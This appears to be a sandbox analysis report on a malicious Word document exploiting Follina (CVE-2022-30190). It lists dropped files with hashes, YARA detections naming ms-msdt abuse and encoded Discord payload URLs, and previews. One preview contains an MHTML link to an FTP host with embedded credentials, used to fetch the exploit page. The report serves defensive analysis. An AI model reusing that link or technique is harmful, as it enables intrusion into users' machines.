AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 6827

Entropy (8bit): 1.4956688509182383

Encrypted: false

SSDEEP: 24:0WUe43dlK8PkikLnPKZ2kSAf9cJuQL34S0VMG:0WUe43dnUPyNTSj4S3G

MD5: 9D5D3D22DB816F7E84026BA1FCD97BB7

SHA1: 0A3C8D913D481AD880FD127E2E05763D2CAA29BC

SHA-256: 1BEB27F9276EB6FC726824CC1809399EA57A9CEF66BD020E797E95C061DDFF85

SHA-512: 6BB8FF659FCDDF99CBBAB16F116C99DE2D45339AB04F40D413407922657CED3C5601970129A8318FD9A6F1DE84D3B94615F9F1D64B61F02F3CFF2CCC64EC7C6
0

Malicious: true

Yara Hits: Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, Author: Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, Author: Nasreddine Bencherchali, Christian Burkard
Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / 
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, Author: Tobias Michalski, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html, Author: Joe Security

Antivirus: Antivirus: Avira, Detection: 100%

Preview: <!doctype html>..<html lang="en">..<head>..<title>..Exploit..</title>..</head>..<body>....<script>..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1536

Entropy (8bit): 1.3979539020933585

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{16FBC318-43B8-4401-9A87-AC5D871EA28A}.tmp
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Encrypted: false

SSDEEP: 6:FlITg4NRMIHrtuP6EOF2U5MIHrtuP6EOF2F+K/e3Wy4tkk4XwPxZSuog:FlI7ZuHm57ZuHmKPy4tkk4+ZSC

MD5: 6470B1C5DA62D7953010314CE694ABF8

SHA1: 1480795BD1790C60C9B9E42DF8A1490D2999C576

SHA-256: 7E6E42A046C34D197097B2678E345306FE71C05F39405FB8DE26FEE99A0AE000

SHA-512: 430D1206C734649A2357B4F3FE4759DD0B875E603780E81CD1FBB42F8E6BA7E9E8507198EF6EEAFFADD5825665B3BF7F9504E1D26FA55F99B698876903872141

Malicious: false

Preview: ....L.I.N.K. .P.B.r.u.s.h. .".m.h.t.m.l.:.f.t.p.:././.e.p.i.z._.3.2.5.9.4.9.9.7.:.F.K.m.e.E.t.I.W.D.g.@.f.t.p.u.p.l.o.a.d...n.e.t./.h.t.d.o.c.s./.a...h.t.m.l.!.x.-.u.s.c.:.f.t.p.:././.e.p.i.z._.3.2.5.
9.4.9.9.7.:.F.K.m.e.E.t.I.W.D.g.@.f.t.p.u.p.l.o.a.d...n.e.t./.h.t.d.o.c.s./.a...h.t.m.l.". .".". .\.b..... . .........................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:ol3lYdn:4Wn

MD5: 5D4D94EE7E06BBB0AF9584119797B23A

SHA1: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 6827

Entropy (8bit): 1.4956688509182383

Encrypted: false

SSDEEP: 24:0WUe43dlK8PkikLnPKZ2kSAf9cJuQL34S0VMG:0WUe43dnUPyNTSj4S3G

MD5: 9D5D3D22DB816F7E84026BA1FCD97BB7

SHA1: 0A3C8D913D481AD880FD127E2E05763D2CAA29BC

SHA-256: 1BEB27F9276EB6FC726824CC1809399EA57A9CEF66BD020E797E95C061DDFF85

SHA-512: 6BB8FF659FCDDF99CBBAB16F116C99DE2D45339AB04F40D413407922657CED3C5601970129A8318FD9A6F1DE84D3B94615F9F1D64B61F02F3CFF2CCC64EC7C6
0

Malicious: true

Yara Hits: Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Nasreddine Bencherchali, Christian Burkard
Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / 
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Tobias Michalski, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Joe Security
Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Nasreddine Bencherchali, Christian Burkard
Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / 
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Tobias Michalski, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html, Author: Joe Security

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Avira, Detection: 100%

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{5D79F234-F401-4DF1-BE07-0751AE8EEE89}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html
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Preview: <!doctype html>..<html lang="en">..<head>..<title>..Exploit..</title>..</head>..<body>....<script>..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 6827

Entropy (8bit): 1.4956688509182383

Encrypted: false

SSDEEP: 24:0WUe43dlK8PkikLnPKZ2kSAf9cJuQL34S0VMG:0WUe43dnUPyNTSj4S3G

MD5: 9D5D3D22DB816F7E84026BA1FCD97BB7

SHA1: 0A3C8D913D481AD880FD127E2E05763D2CAA29BC

SHA-256: 1BEB27F9276EB6FC726824CC1809399EA57A9CEF66BD020E797E95C061DDFF85

SHA-512: 6BB8FF659FCDDF99CBBAB16F116C99DE2D45339AB04F40D413407922657CED3C5601970129A8318FD9A6F1DE84D3B94615F9F1D64B61F02F3CFF2CCC64EC7C6
0

Malicious: false

Preview: <!doctype html>..<html lang="en">..<head>..<title>..Exploit..</title>..</head>..<body>....<script>..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 19094

Entropy (8bit): 5.003798394569383

Encrypted: false

SSDEEP: 384:Nfib4GGVoGIpN6KQkj2Akjh4iUxGzCdaOdB/NXp5CvOjJEYoV4r4Lib41:NIGV3IpNBQkj25h4iUxGzCdaOdB/NZwD

MD5: EF0355D57A5E02F6568026E935D3A4E7

SHA1: 1CA0B59F1F44B960379D6502CEFAE7F96A7AF644

SHA-256: BFD44FA7488D20CED0AB31BD94BE7EC270F51B692550D323E48E5DA0760DE91C

SHA-512: E04D2DF9918088987FC18F44989D3CE8FD9E80C6143900D864D8EEEBAE20055792BE6DFFA0BA353438152269AD5DC609E865F8195431086B8ABC37FC5EAD2352

Malicious: false

Preview: PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo
........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscRe
source........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script....
....Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-
Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriv
eItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 2940

Entropy (8bit): 5.518601240897582

Encrypted: false

SSDEEP: 48:ePerB4nqRL/Hvfe9t4Cv8yzqv4aR48uL/jxJZKaVP7ouYAgwd64rHLjtT:XrqnObHHev8yzqv4aNsNJ5P7o9Adrl

MD5: FC925FA7A8A436CC3FF320E3C50F5345

SHA1: 5442B3271F4CC00320DF80D71080BA2A6D1DDC46

SHA-256: D84A6F87CE88B7D09CBD0855821E087A2813B6513FE74D5C64808EBC5BB9AB48

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\a[1].html

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
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SHA-512: 0932A92853C099CEA1C65F9C0F5E8A6934C0A2E58B2A7545B03522C3F53A2896EA8D7356FFA510FE882464BD994AB1FBA35CB1FD3BF653ADD3F1E67D79C0EF
A6

Malicious: false

Preview: @...e...........................................................8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o..
.A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Micro
soft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q.......
...System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Tran
sactions.<................):gK..G...$.1.q........System.ConfigurationH..............@.x[.2..E.%.?.|.w........Microsoft.Powershell.PSReadline.8................U..f..F.....K..j.......Microsoft
.CSharpP...............

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 565656

Entropy (8bit): 5.750034608348185

Encrypted: false

SSDEEP: 6144:ZmSsWvr9kmmq9dIJtg/xlytP7n5uNEBopKZCsC1+32:AqFm/JElcT5O+kRE2

MD5: 3F12DE71487CC7B48446C50A0E33265B

SHA1: E1F1DE6E338BACC740E342DD2246840F0D749E4D

SHA-256: 56185D32DB903C544E2459F82E08800D21B06C9236C6844D23E3A011410328BD

SHA-512: 84C92471EE39B12AB8377A8CB5F624D2A101301BE681494872CA14EA15CA746135E84EBC54F75CD80E125794ECF97E1F6B949DC6C590299B2BDB8DEA0A752B9
3

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........qB.."B.."B.."K.-"V.."-.#F.."-.#P.."-.#U.."-.#N.."B.."..."-.#C.."-.#..."-
.A"C.."-.#C.."RichB.."................PE..d...R.............",.................>..............................................n.....`A............................................\.......T....p.. K...0...(.......!......(....9..T..........
......... ...(... ...............H...(.......`....................text............................... ..`.rdata..6...........................@..@.data....B.......:..................@....pdata...(...0...*..................@..@.dida
t.......`.......*..............@....rsrc... K...p...L...,..............@..@.reloc..(............x..............@..B.............................................................................................................................
...................................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 112544

Entropy (8bit): 5.635311641828806

Encrypted: false

SSDEEP: 1536:2UlAUBucwIQmniesOHvl3jfo96eirTme3fw0CIkFwPlk:qUBuqnimvl3jqYrTme3fQFw+

MD5: 506518C464D0D4826C8AA57F92ABC41E

SHA1: 2F5ACB0F3A02C1F00F5A1AE1002854B78293AEC1

SHA-256: AA59B13591F5F2130084CAB5B6000B6AF431F238782BE3CAA750EEEA8CD12889

SHA-512: 05377ED5705B7F6ABEFB5DA32553017AE58A7D2D8DAD79FCD9DCC1F27DFCA442ECFCC2E8ED63F412F31503A95DD8D603401ABDA84D590AFD62DDBF070F141
B03

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......... .SgN.SgN.SgN.<.M.QgN.<.J.AgN.SgO..gN.<.O.BgN.<.K.]gN.
<.N.RgN.<.G.\gN.<...RgN.<.L.RgN.RichSgN.........................PE..d...*7............",.................................................................4....`A.........................................=......|>.......... "....
..|........!..............T...................0...(...0...............X................................text............................... ..`.rdata..............................@..@.data....(...P..."...@..............@....pdata..|.........
...b..............@..@.rsrc... ".......$...n..............@..@.reloc..............................@..B..........................................................................................................................................
..............................................................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 879512

Entropy (8bit): 5.9237973712927685

Encrypted: false

SSDEEP: 12288:AnTPbxKNAY4rniZvwcTozFFV6sfxXByj7GBBw58FXUgZklV1j:ATD64mZYfznV6spBymBW5eXTqlb

MD5: E52B7BC9D57CA795DB8DB4867FFE0737

SHA1: 1AEF9BCE393DA541909DD2A1BCED5E7944C201F3

SHA-256: A725476DF6A1B077A1BBE002584992E512DB446207614326B01846B717B1FAE3

SHA-512: 76997420C51E406696C42A2FCEE2CBE8CD38E67981449F62C5D95CBDA016C6E7B2AFE52E5EB6F4BB8D3A082ED397DDF43673E0C25F0CA0F374A893DF79125D
BE

Malicious: false

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AppxProvider.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AssocProvider.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CbsProvider.dll
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Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#..1g..bg..bg..bn..b5..b...cc..b...ct..bg..bB~.b...cn..b...ci..b...cf..b
...c7..b..fbf..b...cf..bRichg..b........PE..d..../.~..........",.................j....................................................`A........................................0...................h....`...9...J...!...........I..T...........
............(.......................(............................text...x........................... ..`.rdata..............................@..@.data....].......V..................@....pdata...9...`...:...0..............@..@.rsrc.
..h............j..............@..@.reloc...............>..............@..B................................................................................................................................................................................
................................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 164256

Entropy (8bit): 5.765041910286905

Encrypted: false

SSDEEP: 3072:Z2AS9oJSuzXzHTd+gGIZ+ggvmXpKrYCya2DKhZ:ZkySuT9+zIZ+gKmKJa

MD5: 4C307D34CA5FAA593DBF304DD1FCB75F

SHA1: 76F3637DBFF1CA28526DF77DE8A02A5639771F66

SHA-256: 9A23842AC18BB24671D544A3A3C36A7FB31B49C7CA43FC08753A1A2C7522A13B

SHA-512: E43A9EA13737EC02C9691B875E479564F7B0C63BFDA76663AE1B7217E978F8B65BAAEAC33F38A2C4F08610409B2486915D64151F6BC357585413F548497C6EE1

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Cre..............k......hw......hw..............hw......hw......hw......hw..'...hw
......hw......Rich....................PE..d.....{...........",.....@...".......-...............................................M....`A................................................P........@...3...0.......`...!.......... ...T.............
.......Z..(....Y...............[...............................text...O>.......@.................. ..`.rdata.......P.......D..............@..@.data...............................@....pdata.......0......................@..@.rsrc...
.3...@...4...(..............@..@.reloc...............\..............@..B..................................................................................................................................................................................
......................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 389536

Entropy (8bit): 5.720673274247612

Encrypted: false

SSDEEP: 6144:kJPvo6s9yV9ENQNzbS4Hs6ENbeNCL+vz:kJj9ENQVb7Hs6kXqv

MD5: E6679058420F314DC0F7139FD9C49CD6

SHA1: B9DEFDA5F25305D0240E37C8DE1381C28780E08C

SHA-256: 808FD53F443AD7143A0551AAC9EB73EA4C29929A7627EDE4CD1813548FDB9008

SHA-512: 854FFB22449A38C78112841B54C530E1A0517A311BACC44EBBEE51F72F8CC067FE5C579ACD0259F07EB63F4F49EF82187F04E01A577D1C730DFF9E915210A1A5

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>.E.P.E.P.E.P.L...U.P.*.S.A.P.*.T.Q.P.E.Q.h.P.*.Q.B.P.*.U.H.
P.*.P.D.P.*.Y.h.P.*...D.P.*.R.D.P.RichE.P.................PE..d....#............",.........4.......y....................................... .......a....`A........................................@*.......*...........b..............
.!..............T.......................(.......................x............................text...^........................... ..`.rdata..............................@..@.data....'...P.......*..............@....pdata...............H......
........@..@.rsrc....b.......d...f..............@..@.reloc..............................@..B..............................................................................................................................................................
..........................................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 177568

Entropy (8bit): 4.465338488931442

Encrypted: false

SSDEEP: 1536:6RFuk7QS+FEdMWqRKT7zc60aFt/0r1/ipbjlnZv3YQlViPG:oFuk7IFEdMWqET7zc6Y1/ipdnRjgO

MD5: 377E7264DFC1F1A5A7A245A06077182F

SHA1: FFC53CBD748781D6935DF5BA02DC415667452F85

SHA-256: 8ABD11D13AD9562303831D7877BF5E1ABB48D01763AE1313E16E6F185A8424F3

SHA-512: 069F1329F20D2002B0B42F9391F8BACD7F38F291BC1819F913376703A7A39E715DBBFC181BC1FD960678DE1722779152933E710C8B1F9FF579DB3E9BEC24A999

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........X.....................................................q..........Rich...........PE..d...u!
,T.........." ..... ...v......p#..............................................!.....`A........................................0........................p...........!......H2..0...T............................w...............x..(.......................
.....text............ .................. ..`.rdata.......0.......$..............@..@.data...Hi.......d..................@....pdata.......p.......X..............@..@.rsrc................Z..............@..@.reloc..H2......
.4...`..............@..B............................................................................................................................................................................................................................................
............................

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CompatProvider.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismCore.dll

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismCorePS.dll
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Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 144056

Entropy (8bit): 6.024385989454105

Encrypted: false

SSDEEP: 1536:Ot4G1BBM//oKmXM1iRHBTIvEXWIPF4pAoiEnLRWNiNKL/D0lQg6rgZC4H0h1PqH4:O+8BM/MM1Imy4pAILGiKMll6rmsHb

MD5: 2A1EE8DF1DD0335605DCC5015C60EBC0

SHA1: C34AF1CAF92B54737956E4940582BCCE5CCA2725

SHA-256: 3344BE53D32153DCEF6A732E3BFF41AB2418F1B91F268567EB577314E34AA500

SHA-512: B775CBF81D542B11CCC2BFBE740BDC53175C34FFA3A0D3FFD2496A05EA8265395D836F734561093521012A99A69A19AABCC79AA8B2BC8565F191397B5647FF9
D

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B.r.#z!.#z!.#z!.[.!.#z!.Gy .#z!.G~ .#z!.#{!."z!.G{ .#z!.G. .#z!.Gs .#z!
.G.!.#z!.Gx .#z!Rich.#z!........PE..d...i.Fs.........."......,.....................@.............................@............`.......................................................... ..........L........<...0..........T...................
.........E...............F...............................text...S*.......,.................. ..`.rdata......@.......0..............@..@.data...............................@....pdata..L...........................@..@.rsrc........ .
.....................@..@.reloc.......0......................@..B.........................................................................................................................................................................................
...............................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 249248

Entropy (8bit): 5.778598752062693

Encrypted: false

SSDEEP: 6144:MHafebZqKJ4YJVwt6q5VJbCFZq78FuIfVLO:caSUALO

MD5: 1EEF6AA1BB47B0E15A94CBF06C4C268E

SHA1: 3F66E2CAA4BD875376FC04D9C3225491E2595710

SHA-256: 4695D228D57B4F1DF8F86C8770B0E55E0A4547E347BF62A7937088B927C6781B

SHA-512: 5A4342AA958AFFF629CD96D3D5B703C4AAFC2EE69CA8647B540EA8786EB21941A0A731EEC1B2B1032B2A86657B34D0854A86EA628C31EE0DC6803D30D9A7D4
A4

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M+..#x..#x..#x.x..#x.. y..#x..'y..#x.."x..#x.."y..#x..&y..#x..#y..#x..
*y..#x...x..#x..!y..#xRich..#x........................PE..d.....h...........",................P................................................~....`A........................................`@.......A..0.......P$...............!............
..T...........................p%..............p&...............................text...c........................... ..`.rdata..TI.......J..................@..@.data....*...`... ...F..............@....pdata...............f..........
